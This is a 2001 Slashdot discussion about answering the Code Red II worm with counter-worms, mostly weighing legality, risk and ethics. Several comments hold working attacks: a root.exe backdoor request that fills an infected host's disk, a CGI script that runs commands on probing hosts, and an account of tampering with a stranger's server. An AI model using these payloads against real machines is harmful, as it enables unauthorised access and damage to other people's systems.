    I'm kicking myself now for even considering an anti-worm, at least publicly, because the potential avenues for abuse are.really sinking in to me. It's really a bad, bad idea now that I think more about it.*ESPECIALLY* as public policy.
    Do what you have to do, on a host by host basis, but for crying out loud don't talk about it here.

    Maybe people will start to wise up after the crooks, and I don't mean script-kiddie vandals, get through rifling through all those rooted boxes. Oh well, at least "consumer spending" is going to be up for a couple of months.

    Rogue Bolo

  375. I am living proof that you are wrong. by Anonymous Coward · · Score: 0
    ...everybody who *could* write something like that either (a) recognizes that infecting someone's box is infecting someone's box, closing holes or not or (b) sees no problems in having the rooted boxen out there anyway. I doubt that anybody else actually has the skills to do it.
    "There are more things in heaven and earth, Horatio, than are dreamt of in your philosophy." Hamlet; Act I Scene 5, line 166

    ==not looking to be busted, so posting anonymously==
  376. Who are these people? by PohlioVirus3 · · Score: 1

    I've been using computers for 15 years now, for fun, for work, etc. I have never understood why viruses are created. Maybe people hate microsoft, so maybe they write a virus to exploit windows computers. I don't know. Do any of you slashdot people know virus-writers personally? I would really love to know what their motivations are. I know several people, good people, whose lives have been devastated by a computer virus, and I think it's quite unfair.

    1. Re:Who are these people? by Fortuno · · Score: 1
      I think they have one of two motives:
      • They want to prove they can. Like the school-bullys that, when asked why they beat people up, they say "Because I can! Want to make something of it?"
      • They are just plain mean. They like to know that they have given somebody a royal pain in the butt.

      But this is just my humble opinion...
      --


      -- geekcode: GU d-- s+: a---- C++ UL++ P-- L++ E--- W++ N++ o K- w-- O M- V- PS PE- Y PGP- t 5 X R tv+ b
  377. Too many combinations by Anonymous Coward · · Score: 0

    You would have to know about the virus and what it does in order to write a virus to counter it. If you are lucky to get ahead of the virus (i.e. Code Red) it may work... but how do you write a virus for a potential virus? I think they call those programs that run in background processes looking for an unknown virus heuristic (sp?) ant-virus scanners :)

  378. Re:Its entirely possible by Isofarro · · Score: 1

    Keep in mind that nearly every law that outlaws hacking is based on "unauthorized access."

    Define "unauthorised access". All it takes to run a program on an infected box is an HTTP request. So are all HTTP requests "unauthorised"?

    Lets say only "linked" URL's are authorised - so any link you click is okay, but you can't enter http://www.slashdot.org in a location bar of your browser - so authorised HTTP requests must encompass this

    So if entering http://www.slashdot.org is authorised, why not http://www.infectedbox.com/cmd.exe?somefunnystring thatdoessomethingonthewebserver ? Since in both cases they are HTTP requests, one could be a static page, but the other is a call to a server-side script.

    IMO any HTTP request to a webserver connected to the Internet is authorised unless its explicitly stated otherwise and/or causes visible damage, harm or loss to the website owner - such as a Denial of Service.

  379. Cheese Worm by robt · · Score: 1, Informative
    This exploit has already been done, closing unsecure ports on Linux systems, as reported here:

    http://news.cnet.com/news/0-1003-200-594940 1.html

    http://news.zdnet.co.uk/story/0,,s2086609, 00.html

    http://www.infowar.com/iwftp/icn/17May200 1_New_wor m_patches_linux_vulnerabilities.shtml

    http://www. securitynewsportal.com/article.php?sid= 437 .

    .

    Also interesting for history buffs is the Internet Worm of 1988 that shut down the internet!

    http://world.std.com/~franl/worm.html

    Could it still happen?

  380. Re:Don't be a part of the problem - cliff's notes by Anonymous Coward · · Score: 0

    "The dead have risen and are voting Republican!" --Bart Simpson That's because here in Chicago the dead are getting tired of voting democrat.

  381. Hey asshole messages... by Anonymous Coward · · Score: 0

    I have started to call the places that are near the top of my 'attempted infections' list and leave messages for people (ask for man in charge, settle for their incompetent IT department) to the effect of:

    Hi there asshole. Your host, 1.2.3.4, has attempted to infect my network 12,736 times since 4 AM Sunday. (Yes, I monitor infection attmepts from a Redhat host with the usual log rotation!) Why don't you patch your piece of shit Windows host, disconnect yourself from the Internet, and fire your incompetent or lazy ass. Thank you.

  382. counter-virus by drizuid · · Score: 1

    I looked at this and immediately remembered an article i read concerning the bind exploitations. A man coded a worm, which went to all suceptible boxes, exploited the bind hole, gained root access, patched the holes, and proceeded to the next systems to continue it's work. It worked quite well, and you can all say hi to him when he gets out of prison. Whether your intentions are good or not, if you code something that enters another's system without their explicit permission, you are breaking the law. It may be a great idea, and I think it is, but is it worth dealing with the law?

  383. Re:Why do favors? by elefantstn · · Score: 2

    If I install Win2K or NT on a box connected to the net right now, there is a high probability I will be infected before I can even apply the patch. That's a fact.

    If I install Linux/BSD/etc with Apache on a box connected to the net, I will end up with an access.log full of default.ida?XXXXXXXXXXXXX requests and nothing more. That's a fact.

    It's disingenuous to say that the indexing hole is comparable to "some CGI script," because that CGI script is not a default component of the Apache installation. The relative security records of Apache and IIS are not the result of "open" vs "proprietary" development models, they are the result of the attitudes of the respective developers towards the need for new features and accountability to end users. IIS doesn't end up with more holes because it's "closed-source," but because it's designed to add as many features as possible and install those by default. This isn't an ideological difference, it's good development practices difference.

    --
    If it ain't broke, you need more software.
  384. That doesn't solve the problem. by Mustang+Matt · · Score: 3, Informative

    The solution is twofold.
    A: Microsoft needs to release more secure OS/Web servers.
    B: People need to patch their system themselves or take it off the net.

    --
    The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
  385. Cure as bad as the disease? by harborpirate · · Score: 1

    Say you could create a worm that fixed the problem.. Aren't you potentially making the problem that much worse? I can just see two worms endlessly chasing each other around the net, wasting tremendous amounts of bandwidth. If the white hat worm went and patched the security hole that the first worm uses to get itself in, this wouldn't occur, but wouldn't you still have thousands of white hat worms spraying the net with data instead? The number of potential problems created by releasing a "predator" worm into the net environment could potentially be disasterous, not the least of which is the bandwidth that would be used up by rabid worms.

    --
    // harborpirate
    // Slashbots off the starboard bow!
    1. Re:Cure as bad as the disease? by Anonymous Coward · · Score: 0

      Yeah, unintended consequences are what has held me back more than legal considerations. What if you fuck it up and make things worse? At a minimum there needs to be some kind of control, at least a kill button, it should be developed with some community oversight, and then tested on a rigorously isolated subnet first.

      I'm not happy at all with the idea of mucking around inside other people's computers as matter of public policy. This may well be or become an overriding emergency and indeed a matter of public safety, so responsible parties should be working on it, but in the long run, we need to give people the tools to secure their servers, and expect them to use them, not pander to consumerist fantasies of brainless appliance use and total irresponsibility.

      Uh-oh. I see Bill and Melinda have just endowed new CS buildings at half-a-dozen universities. Anybody want to guess what those machines will be running?
      Oh, well, it was a thought, anyway.

      Rogue Bolo

  386. Re:Its entirely possible by Chris+Burke · · Score: 1

    Whoever the fuck modified my comment as insightful is a flaming retard. So I guess I should say "thank you" for keeping the standar of /. moderation consistent.

    --

    The enemies of Democracy are
  387. Re:Correction Was:You could do that, but don't! by RedX · · Score: 2

    Nope, you didn't /. any of those, but you did save me some time in tracking down a CRII-infected server to play with. Seems you can manipulate the files in the \inetpub directory, but very few anywhere else. Making a dir on the desktop didn't work, but their index.asp has been renamed. Hopefully and admin with 1% of a clue is supporting this server.

  388. It sounds like a good idea, but.. by Anonymous Coward · · Score: 0
    Look, as I understand it, the big problem with the code red virus is the amount of network traffic it creates while trying to find vulnerable computers.

    So, youve got a worm out there, trying to find a new host, taking up bandwidth. Now release into this a second worm, using the same amount of bandwidth, if not more, because it has to carry the patch with it to do its job. Suddenly, youve got twice the problem you did before. No, you could just write a program that listens for the worms signature http request, and only fixes that one server, but even that has its problems.

    The solution to this is not a worm arms race to see who can write the best worms and counter-worms, It is proper system administration. Any other solution is stopgap at best.

  389. Leaving aside the issue of ethics... by yukondude · · Score: 1

    Even if one were to send out an anti-virus to "fix" Code Red II, there's no guarantee that the backdoor hasn't already been used to insert far more dangerous code. Now the user may check for root.exe or the registry settings, decide he or she wasn't infected, and merrily go about their business. Meanwhile their machine is patiently waiting for the next DDoS command.

    Better the user nuke and pave an infected machine and learn that painful lesson.

  390. A virus writer could say: by Johnny5000 · · Score: 1

    You're writing an anti-virus virus?

    Well, I'm writing an anti-anti-virus virus!

    ...

    (days pass)

    OK, then I'm writing an anti-anti-anti-anti-anti-anti.... anti-virus virus!

    -J5K

    --
    The libertarian solution to the failures of capitalism is to apply more capitalism til the failures are fixed.
  391. Not always by Anonymous Coward · · Score: 0

    She may not have done if she were just in the back garden, without her key :-)

    1. Re:Not always by WNight · · Score: 2

      Perhaps she'd have been a bit annoyed, but if he saw her leave, and she went far enough that he lost sight of her, it would also be enough time for a burglar to get in.

      She might have to call to get someone with a spare key to come over, or at most, a locksmith whose price I'm sure Startled would have paid half of, but it's a small price to pay compared to having your stuff gone, or someone waiting inside when you come home...

      And if she did want it that way, she need only tell him once and he'll never help her that way again.

      It's never happened to me, but if I was in a parking lot and saw an unlocked car without an obvious alarm, I'd open the door, lock it, and close it. To avoid risk of a theft charge, I'd get a random passer-by to witness it, so that it was obvious I was only locking the door if the owner came back right then. But I would lock the door. I don't want anyone to have to pay out a large deductible and lose their CDs, etc. That sucks.

  392. Non-Windows solutions by totallygeek · · Score: 1
    I don't really think sending out a fix is the way to go. Honestly, something like Code Red is good, because it will demonstrate how bad closed-source architecture is not viable. It will shut the mouths of the advertising engine out there that Microsoft is the way to go for serving Internet applications.

    I have hit many brick walls trying to implement Linux or OpenBSD in organizations. One company was told by their software vendor that having a Linux box on their network would hurt their NT server -- so they ran MS Proxy for Internet access instead of a NAT box, and it never works right. Another company replaced a working web server (Linux) with a Windows 2000 box just because they made a policy to strictly run Windows in their organization.

    I do not like virus authors and worm writers, but it has been great to go into a company and say here is why you should not use Outlook. Or, here is why you should run Apache on Linux.

  393. Re:Its entirely possible by psychalgia · · Score: 1

    pay a fucking law student, theyre everywhere, and ill be damned if they wont work for peanuts. If I was into law/sci - fi working for you guys would look AWESOME on my resume... i mean, think about that, you cant BUY real world experience like the kind of work you would get here...

    --

    ________________________________________________

  394. this is not legal by egomaniac · · Score: 2

    Lots of people here are saying "this is legal because you have good intentions" ... which is, of course, absolutely not true.

    Imagine you got home after work one day, and found your front door standing wide open. You frantically search the house, and find a complete stranger sitting down at your computer. He cheerfully tells you that your computer was infected with a virus, and that he's going around the neighborhood breaking into people's houses fixing their computers.

    No damage was done, because he merely picked the lock to the front door. You check out your computer and as far as you can tell everything looks fine, so it seems like he was telling the truth.

    Do you:

    A) say "Oh, that's okay! Thanks for fixing it!"
    B) tell him to get the hell out of your house, and then call the police?

    I'm betting the vast majority of you would pick (B). Now (just like all the other idiots on /.) IANAL, but I imagine the courts would be quite willing to see a counter-worm situation similarly. It is not legal, and it could land you in some serious trouble even if your intentions were pure.

    --
    ZFS: because love is never having to say fsck
  395. good way to make $$$ by 1000101b · · Score: 1

    Create a anti-virus that downloads the patch from MS and works in a worm-like fashion with a twist. Limit your propagation to a single domain. You would need to have detailed reports of course. Sell your service to lazy admins and make a pretty penny (for doing nothing.) Sell a new version every time a new virus comes down the pipe. Be sure to include license information that makes it clear you will not be liable for misuse of your program. It could work.

    --
    Live wrong, impostor.
    1. Re:good way to make $$$ by J'raxis · · Score: 1

      Sounds like a new dotcom business model. Too bad you're almost a year late. :)

  396. It has been done... by auf_weiderzen · · Score: 1

    In 1989 the WANK worm infected NASA's DECnet and spread from there to such exotic locales as HEPnet, EUROnet and couple other fun ones. The worm would infect a system by trying password == username (surprisingly successful) and a couple other basic attacks. Then it would look for a process name like wwdk_1234, where 1234 was just a random number string. The worm would look for this process and if it found it would terminate, otherwise it would set up shop. What the heroic sysadmin did was rewrite teh code to look for a definite number and if not found it would kill that process and start its infection routine, effectively killing the actual worm and replacing it with the benign version. The hacker later countered by simply looking for that process and killing it then running its infection routine, but for a while the counter-worm worked. -Source: The Underground, by somebody, available online somewhere and in hardcopy. (Okay, so my memory isn't perfect.)

    --
    Lusers, lusers, everywhere and not a LART in sight.
  397. I suppose... by Scoria · · Score: 2

    ... that the Slashdot editors don't read Slashdot.

    This has been discussed on the other three Slashdot stories about Code Red.

    Each time, none of the comments have risen above +1. Some have even been modded down to...

    ... -1, redundant.

    Nevertheless, this is a good idea. You have to remember that not all NT administrators are anything more than employees of a small company trying to see what this "Internet and web server" thing is all about. They'd patch, but they just don't know how. (And yes, I know. If they don't know how to administer it, they shouldn't be trying to.)

    I believe that the United States FBI still counts this as an unauthorized intrusion, so watch out if you do try to inject something like this into the Internet...

    --
    Do you like German cars?
  398. Be Kind, Just Remind by SuperKendall · · Score: 2

    How about instead of actually patching the machine or doing something else to affect the state of the machine (like turning off the web server), you simply pop-up a message on the screen that says "This machine infected with Code Red, please download update from Microsoft.com/security" or something along those lines. I'm not sure myself how you'd go about raising a message or dialog box but there are probably a number of ways you could do this.

    That way you don't enter the grey area of messing with another users machine, and since most of these boxes are probably home machines they'll get the message pretty quick that someone can do anything they want with the machine and they should patch it pronto!

    --
    "There is more worth loving than we have strength to love." - Brian Jay Stanley
  399. Re:Its entirely possible by Mr.+McGibby · · Score: 1

    Compare: Adam breaks into my server and steals confidential data. I trace the attack back to Adam, infiltrate his workstation, and perform a destructive format of all of his hard drives.


    This scenario doesn't really make sense as an analogy to the *physical* scenario. If Adam stole your stereo, you have no right to go break into his house and take the stereo back. Once the stuff is stolen, you have to go to the police. Only when you are in imminent danger does the law apply.

    On the other hand, if you saw Adam break into your server and he is about to delete all your files, then you have every right to kick him off your system, even if in the process, you harm his system in some way as long as the methods you use are reasonable and don't do more harm than is necessary. Since kicking him off your system probably won't harm him at all, these laws don't apply very well.

    Once the attack is over, you go to the police. In our society, normal citizens are only allowed to use force that would otherwise be illegal, when the police are out reasonable reach...Like when you have shotgun in your face.

    --
    Mad Software: Rantings on Developing So
  400. here's a script that'll break their machine by Anonymous Coward · · Score: 0

    or at least fill up the harddisk...

    GET /scripts/root.exe?/c+echo+@echo+off+>fill.bat&echo + echo+a^>a>>fill.bat&echo+:loop+>>fill.bat&echo+typ e+a^>^> a>>fill.bat&echo+goto+loop+>>fill.bat&start+/min+f ill. bat

    i'm sure someone else can do something a little more nasty!

    now all we need is a few thousand linux machines listening for the crII signature and to send this url back to the machine. that will slow it down dramatically.

  401. Re:Its entirely possible by catfood · · Score: 2, Funny
    I'm sure folks will scream its illegal and it probably is - but can't a case be made for 'self defense' I mean if someone brandishes a gun at me am I not within my rights to shoot them or at least take their gun away?...
    Why not apply the same logic to this, they are probing me to infect my server so why can't I probe back and disarm them?

    I didn't ask my lawyer about this, because I know exactly what he would say. "catfood," he'd say, "what happens if you don't send the white-hat virus to those hosts that are probing you?" And I'd say that basically nothing bad will happen to me; I'd just get a couple hundred hosts a day knocking on my door and not getting in. And then my lawyer would say, "and what might happen if you do send the white-hat virus out?" At which point I'd say well, I guess it's remotely possible that I might break something, and the other host's manager might notice it...

    And then my lawyer would say, "Don't be an idiot. You'd be exposing yourself for no benefit to yourself, right?"

    Then I'd say okay, you're right, and my lawyer would send me a bill for $300.00.

    I save a lot of money by asking myself, "what would Tim the Lawyer say?"

  402. Re:This is definately not a good idea by Keeper · · Score: 2

    There's a small difference here.

    The fact that a hole exists isn't the problem. The fact that a hole is being exploited actively, and being used to propage software to hundreds of thousands boxes (causing all sorts of bandwidth problem) is a SERIOUS problem. Compounded by the fact that 90% of the people who are currently infected by it WILL NEVER FIX THE PROBLEM THEMSELVES. This has been going on for almost a week now, and it's only getting worse! My server at home is getting hit by this damn thing multiple times per minute! Hell, the after this thing was in the wild for the first 16 hours, I had 355 registered attempts to hit my box with it.

    The app you speak of did four things:
    * it patched holes
    * it left open a new backdoor
    * it tried to spread itself
    * it told no-one what it did

    I'd have no problems with something that patched compromised holes, didn't leave open any backdoors, didn't attempt to spread itself, and told the owner of the box in some fashion what it did. Some would argue that "well, they'll have to wipe the box because who knows what was done by the fix" -- guess what, they should have done that in the first place, because god only knows who else did nasty things before the hole was patched...

  403. What if we use the same exploit for cleaning by Anonymous Coward · · Score: 0

    We could use the same buffer overflow in order to install the patch... not a virus, no self replication, but running a patch installer against the systems that appear to be infected according our logs.

  404. Flu medication by Mazianni · · Score: 1

    There are a lot medication for the flu. You can find a few dozen at your local pharmacy.

    I think what you meant to ask is if there is a vaccine. The answer is yes, but the flu virus mutates fairly rapidly. Every year there are a few more new strains, and so you have to go get a new flu shot if you want to stay immune.

    SPQA

    1. Re:Flu medication by nidarus · · Score: 1
      There are a lot medication for the flu. You can find a few dozen at your local pharmacy.

      Ahm, I don't really know what you mean. There're drugs that temporarily reduce the symptoms (paradecamol[..] and aspirin), but they aren't a "cure" for the disease. If you mean antibiotics, these won't work against the flu (or any other virus, afaik).

      Bah, I know it's petty and kinda silly, but this mistake annoys me so (why flu? why not, say, tuberculosis? ah, maybe because you CAN treat a person with tb against his will, since public health is involved, as one /.er noted, ah).

  405. You could use the hole to _warn_ the sysadmins by marsvin · · Score: 1

    I've put the following CGI as default.ida on several webservers:


    #!/bin/sh

    echo "Content-type: text/html"
    echo
    echo $REMOTE_ADDR

    /usr/local/bin/wget -q "http://$REMOTE_ADDR/scripts/root.exe?+/c+net+send +127.0.0.1+WARNING!+This+server+has+been+infected+ by+the+Code+Red+worm.+See+http://www.emsolutions.n l/codered/+for+help."


    (Add or remove whitespace to taste)

    We've had something like 80 hits in 3 or 4 days on that page. Mind you, some NT admins can't type the URL in correctly...

  406. We've been over that... by Greyfox · · Score: 2
    Creating a new worm and sending it out over the net can be pretty easily classified as illegal, even if it's to a beneficial purpose.

    Somewhat more hazy is setting your web server up to shut down a web server that just scanned your for code red II. That would be completely passive and would have a hell of a lot more benefits than drawbacks. If you're evil you could also bill the owner of the server for administrative services (With about 2000 scans since saturday, I could have made a hefty chunk of change on paper had I been doing this heh.)

    --

    I'm trying to teach myself to set people on fire with my mind... Is it hot in here?

  407. Re:Darwinian Predator - Prey relationship on the n by Satai · · Score: 1

    Eventually chaos theory will dictate that the nature of the relationship has become so complex as to be unknowable.

    And then Jeff Goldblum shows up, ah, showing, ah, us that, ah, nature, nature, ah, finds a way.

  408. Code red and something useful by Anonymous Coward · · Score: 0

    What about something like this? Put in you apache home directory a new default.ida archive with this lines:

    <?php header("Location: http://www.causeanaffect.org/thanks.html"); php?>

    Now make .ida extension parseable by php. I don't know if this can work, but...

  409. Re:Its entirely possible by jgerman · · Score: 2

    You'd think so, but there are plenty of cases in turn where the family sues for damages, or even worse murder charges are pressed. Revel in the beauty of the U.S. justice system.

    --
    I'm the big fish in the big pond bitch.
  410. It has happened already by hexx · · Score: 2, Insightful

    Cheese, a linux worm did this.
    Read This

  411. Viruses are free... by Anonymous Coward · · Score: 0

    Viruses are free and Antiviruses are NOT. Do YOU see any connection? That's because antivirus software companies like to earn money on people making viruses.

  412. Re:Darwinian Predator - Prey relationship on the n by philovivero · · Score: 1
    So now you have a bunch of viruses, and counter-viruses roaming the net. This is not so bad until you have self-mutating viruses and antigens, several generations down the line. Eventually chaos theory will dictate that the nature of the relationship has become so complex as to be unknowable. This is a pandoras box we don't want to open.

    Bullshit. It's absolutely a box we want to open. Go read a book on artificial life. Just because you don't understand something doesn't mean it's dangerous to you.

    People fear what they don't know, which is why alife gets such bad treatment in low-brow popular entertainment.
  413. The problem is: by baalzebuth · · Score: 1

    The problem is that anybody can spoof the originating adress to look like it is www.whitehouse.gov so the counter attack could be used as a DDoS tool...

  414. It won't work by dybdahl · · Score: 1

    If you look at the virus'es that have been made, many of them have destructive effects that were not intended originally. A virus or worm that spreads itself, might cause trouble just by spreading - activating firewall warning systems etc.

  415. A case of what is possible not being responsible.. by swdunlop · · Score: 1

    Yes, it is possible to write a counteragent that would infect the same hosts as another worm, remove the worm, and close up the vector, possibly, to prevent a relapse. But, while this action may seem at the outset to be a beneficial thing to do, it is fraught with risks.

    As a case in point, refer to the Morris Worm, which shut down a large part of the Internet in its nascent years. The worm was never meant to be detrimental to its host's health, and was designed to give the author some statistical information about the number of hosts, etc. An error in the worm's propagation routines caused it to overproliferate, swamping the CPU of the servers involved, and bringing the network to a screaming halt.

    You, as the counteragent author, can /not/ be 100% sure that the changes you will make will not have a negative effect on hosts you are trying to repair. Considering the difficulty, today, of producing a truly bug-free piece of software, due partially to glitchy libraries, I would consider it very likely that a so-called counter-virus would likely do as much harm as good.

    The ethical thing remains to be informing the individuals who are still propagating, and ensuring your own house is clean. Perhaps we should form some RBL-style blacklist of hosts currently known to be propagating and susceptible to known worms?

  416. Sorry to reinvent the wheel. by hivolt · · Score: 1

    I hardly use NT or 2000. I'm surprised then that the sysadmins didn't install their patches sooner, if Windows is telling them "Hey! I'm vulnerable! Fix me!". Wow. Why did they wait so long?

  417. Re:Its entirely possible by johnwbyrd · · Score: 5, Insightful

    Slashdot desperately needs is a full-time lawyer. It's a great site for Internet geek stuff but nobody on the site has the first fucking clue about liability law. That in itself would not necessarily be awful if it were not the case that all discussions here invariably end up with a bunch of laymen talking legal theory. Lawyers, help!

  418. Rehash/summary by AnotherBlackHat · · Score: 2
    Worms bad... Virus bad...

    There have been many suggested responses, in approximate order of grayness;

    1. Do nothing.
    2. Send email to any system that probes yours.
    3. Provide a patch, and make it as easy to download and install.
    4. Have a bot send email to any system that probes yours.
    5. Provide a web page that activates a bot that exploits and patches a system.
    6. Have a bot exploit and patch any system that probes yours.
    7. Have a bot exploit any system that probes yours, and patch it with the bot.
    8. Actively search out infected systems and patch them.
    9. Actively search out infected systems and patch them with something that actively searches for systems.
    10. Write an even more virulent worm that patches systems.
    I feel that arguing the current legality of the above options is meaningless. The question is, which of the above is the right thing to do. Once it's decided what the right thing is, then we can change the law to make that legal.

    Personally, I would be opposed to anything past 6, as they all involve unlimited expansion, and thus are potentially more harmful than the worm they are stopping. Below 5, I think is ok, although 4 does have some potential for harm. As long as the bot is properly limited to, say, one email per infected system per week, then I think the response is justified.

    5 is curious - it does involve cracking the infected system, but theoretically only at the behest of those who are infected. There is, however, a potential for abuse - you could spoof a request, and trick it into patching a different server. However, someone would have to actively choose to spoof it, so it effectively is no different than the spoofers running the exploit themselves. I.e. you've made it a tiny bit easier for them to do it, but didn't actually initiate the action.

    6 is onerous. It does involve cracking a system - but it's a system that is "attacking" you, and potentially others as well. I would rate it about the same as cold cocking someone who's been drugged, and is now running around swinging at everyone they see. I'm nervous about the idea of vigilante cracking, though - too much potential for abuse. Perhaps a compromise between this and 4 above - have someone "trusted" set up a cracker/patcher that only patches servers that are reported to it, and which it also agrees are infected and dangerous. Sort of like calling the net-cops on the server.

  419. Discussion rerun? by abischof · · Score: 2

    Haven't we already discussed this?

    --

    Alex Bischoff
    HTML/CSS coder for hire

  420. apache+mod_iis by scotsmancsua · · Score: 1

    A friend of mine, Dan Holliman, suggested that we write an apache module that performs exactly this. When the module receives a request to the default.ida path, it sends an HTTP query back to the requestor's IP using the hole to cause a system reboot or freeze, or to remove the default route or interface on that box.

  421. Fight Virus with Virus by OpCode42 · · Score: 1

    Reminds me of what my dad used to say... "Fight Fire with Fire".... He didn't last long in the fire brigade...

  422. The Ultimate Hack by brm · · Score: 1

    How about a worm which breaks into Windows/IIS, and replaces it with a Linux Apache system without upsetting the served site. Now that would be cool.

  423. Straight Outta Stephenson's "Diamond Age" by Papatoast · · Score: 1

    So this is how it all starts...Worms and AntiWorms..next thing you know..the air is thick with NanoStats running amok, choking air conditioners, clogging intake valves, and fouling table clothes.

    --
    We were somewhere around Barstow on the edge of the desert when the drugs began to take hold. - HST
  424. I can see it now... by pukeAndCry · · Score: 2, Funny

    VbScript that uninstalls MS Outlook?

    JiM
    ---

    Better Living Through Reckless Experimentation

  425. Re:Its entirely possible by Anonymous Coward · · Score: 0

    Vacate my ass! If anybody ever walks into my house, let alone threatens me, I have every right to shoot his ass. Period.

  426. Write one that ... by Anonymous Coward · · Score: 0

    ...installs Apache instead of IIS :)

  427. Because of this the internet is dying.. by cybrthng · · Score: 2
    Really..

    I can no longer run services on port 80. As of tommorow port 25 is filtered.

    Verizon is my DSL provider, telocity is the only other choice and they use Verizons network so the filters will remain even if i switch.

    I pay for Pro service and now some Virii/Worm has expired my abilities to run a hobby server at home

    Cable modems (@Home) aren't available in my area yet and they have a terms of service prohibiting running servers.

    Is the internet dying now that monopolies have 100% control? I mean verizon is blocking services, other isp's control the content and now even if i switch providers i'm still paying for a monopoly after all?

  428. Re:I Hope You Keep Bail Money Near Your Gun OT by Ed_Moyse · · Score: 2, Insightful
    Maybe in places like the UK they don't mind that robberies while the owner is home have gone up since the draconian gun laws. I do.
    Interesting. I read this over and over again on the internet, and it is complete and utter bollocks. If you were a burglar in the UK you were (and are) very, very unlikely to get shot even before the "draconian" gun laws came in. There simply weren't enough guns around to make it a worry. So even if burglaries HAVE gone up since then, it's completely and totally unrelated.
  429. Not a good idea by rangek · · Score: 2

    Just look at how many of these worms have had little bugs in them, like not attacking when the were supposed to, or emailing the wrong drop and stuff. All we need is some cowboy thinking he is going to clean up the internet and messing up even more stuff.

    Ever see that movie Office Space? One wrong decimal point could mean big trouble. It is bad enough these people have to run Microsoft's buggy code. But at least they chose to do that. They shouldn't be forced to run your buggy code too, even if you are trying to help.

  430. is that legal? by Anonymous Coward · · Score: 0

    why not just create a list, where admins can subscribe and their computers get automatically fixed using the counter-virus? The scanning algorithm sends a request to a central server that responds with an IP-adress that has been added to the list and the client checks that server.

  431. WWWWI - World Wide Web War one by Fortuno · · Score: 1

    Will the evolution of the WWW go in the direction of the humans? Will there be wars in which groups of pro-hackers, leaded by Bill Gates, join together to create a Nuke-Virus to get rid of the minority groups (eg, VMS users)? While the Linux groups have a treaty to protect the small island of VMS, they must retaliate, in full force! Then the Mac users will join in on the side of MS. But the Windows users will be too snobby to associate with "people who don't have a character terminal". Thus a civil war between Windows and Mac.
    This sounds like a twisted war-in-the-making, resulting in the death of many computers!

    Note: I don't want to offend anyone

    --


    -- geekcode: GU d-- s+: a---- C++ UL++ P-- L++ E--- W++ N++ o K- w-- O M- V- PS PE- Y PGP- t 5 X R tv+ b
  432. Ain't this an old one? by dirtydog · · Score: 1

    Wasn't this same idea brought up a month or two ago and sufficiently trashed at that time???? Is /. the department of redundancy department?

  433. old news, surely? This has been done before: by ferret4 · · Score: 1

    Not only has this been done before, but its been reported on slashdot. Next! http://slashdot.org/article.pl?sid=01/05/17/003820 5&mode=thread http://news.bbc.co.uk/hi/english/sci/tech/newsid_1 344000/1344344.stm

  434. Heh by ioexcptn · · Score: 1

    I thought of that myself...seems very possible...might be an invasion of privacy though.

    --

    Intelligence is like four wheel drive, having it just means you'll get stuck in more remote places.
  435. Its entirely possible by baptiste · · Score: 5, Interesting
    CodeRed II leaves a huge hole - the virtual C and D drives so even if they remove the root.exe file, as long as the explorer.exe is infected, you can access any file via /c or /d in your GET request (ie /c/winnt/system32/cmd.exe?any cmd you want)

    I'm sure folks will scream its illegal and it probably is - but can't a case be made for 'self defense' I mean if someone brandishes a gun at me am I not within my rights to shoot them or at least take their gun away?

    Why not apply the same logic to this, they are probing me to infect my server so why can't I probe back and disarm them?

    1. Re:Its entirely possible by Anonymous Coward · · Score: 0

      [quote]
      So if entering http://www.slashdot.org is authorised, why not http://www.infectedbox.com/cmd.exe?somefunnystring thatdoessomethingonthewebserver ? Since in both cases they are HTTP requests, one could be a static page, but the other is a call to a server-side script.
      [/quote]

      This is a form of 'creative surfing' and as far as i know, legal is some county's.
      But for this example it is possible to create a DOS (like shutting down the server/nic with the request).

    2. Re:Its entirely possible by Tassach · · Score: 2
      If you wrote a program that counter-attacked any codered infected server that attacked you, the proper analogy would be returning fire whenever someine shot at you.

      However, if your countermeasure does anything BESIDES stopping the attack, you are going too far. IMHO, it would be ok to write a countermeasure that shut down the attacking system, or even one that patched the hole IN THE SERVER THAT ATTACKED YOU; but it would be wrong to develop a countermeasure then tried to run itself on the "disinfected" machine and spread itself to other infected machines that never attacked you directly. The first scenerio is (at least potentially) defensable under accepted doctrine (self-defense, good samaritan); the second is not.

      --
      Why is it that the proponents of "one nation under God" are so eager to get rid of "liberty and justice for all"?
    3. Re:Its entirely possible by Anonymous Coward · · Score: 1, Interesting

      They would need about 50 lawyers to cover every area of law that is discussed on these boards.

    4. Re:Its entirely possible by Anonymous Coward · · Score: 0
      Mod this guy up to fucking +50^5000.

      Thats about the most darn sane thing ive ever heard on slashdot...

    5. Re:Its entirely possible by Anonymous Coward · · Score: 0

      Alright then, now insult me. Soon you'll be +5 Insightful!

  436. Take it one step futher... by Overt+Coward · · Score: 2, Flamebait

    And after closing the hole, the counter-virus should stay resident and launch a counter-attack against anyone who tries to exploit the hole with anything other than the counter-virus.

    1. Re:Take it one step futher... by Overt+Coward · · Score: 2
      You know, I keep forgetting that I have to mark sarcasm as such when I post on the Internet -- inflection is lost entirely. Apologies to anyone who thought I was being serious.

      The original post, above, should have been flagged "(-1, Smartass)".

  437. not a good idea by Anonymous Coward · · Score: 0

    Max Vision from whitehats.com did something similar and is serving time for it...

  438. Use of Anti-Code Red Script Considered Harmful by Xeger · · Score: 2

    After hearing what everybody has to say, I've decided that this sort of script is probably not a good idea. To those of you who replied to me via email, I'll send you a link to a webpage where I'll be putting up the script, once I get hold of it. You'll be able to reach it after clicking through a disclaimer.

    I would still advise against anyone using this in "production" (i.e. to combat live code red attacks on the open Internet.) Think about it:

    If, for some reason, your copy of the script mis-performs and corrupts IIS DLLs or executables on the attacking host, you will be liable.

    If the federales are monitoring traffic and see your box actively exploiting the Code Red hole, you're in trouble.

    If your ISP notices your box "propagating" Code Red, then you are likely to be denied service (in the most literal manner) and your account might be terminated.

    So, in the final analysis, it's probably better just to put up a default.ida that does a "net stop w3svc" (as someone else here recommended) or does a reboot.

  439. It was proposed before with MS Outlook viruses by the_olo · · Score: 1

    Read that post from bugtraq archives: The proposal of creating such an automatic healer worm started a fierce discussion.

  440. This ORIGINAL post is from the newsgroups!!!!!!!!! by iwf · · Score: 1
    Hello,

    I sent in this article way before this other guy did. His comments sound awfully like my web site.

    See the newsgroups for a timestamp.
    microsoft.public.inetserver.iis.security,
    microsoft.public.scripting.virus.discussion
    AND
    alt.comp.virus

    Search on the terms, that I used first.
    Fight Virus With Virus?

    But then again, I didn't first come up with this idea any. Many other people did. I just just used a little down to earth communication to drive home the point.

    See my newest argument at

    Bait-and-Injured-Virus OR Wounded Virus

    This may or may not get you around the trespassing legal problem

    This is the original page below
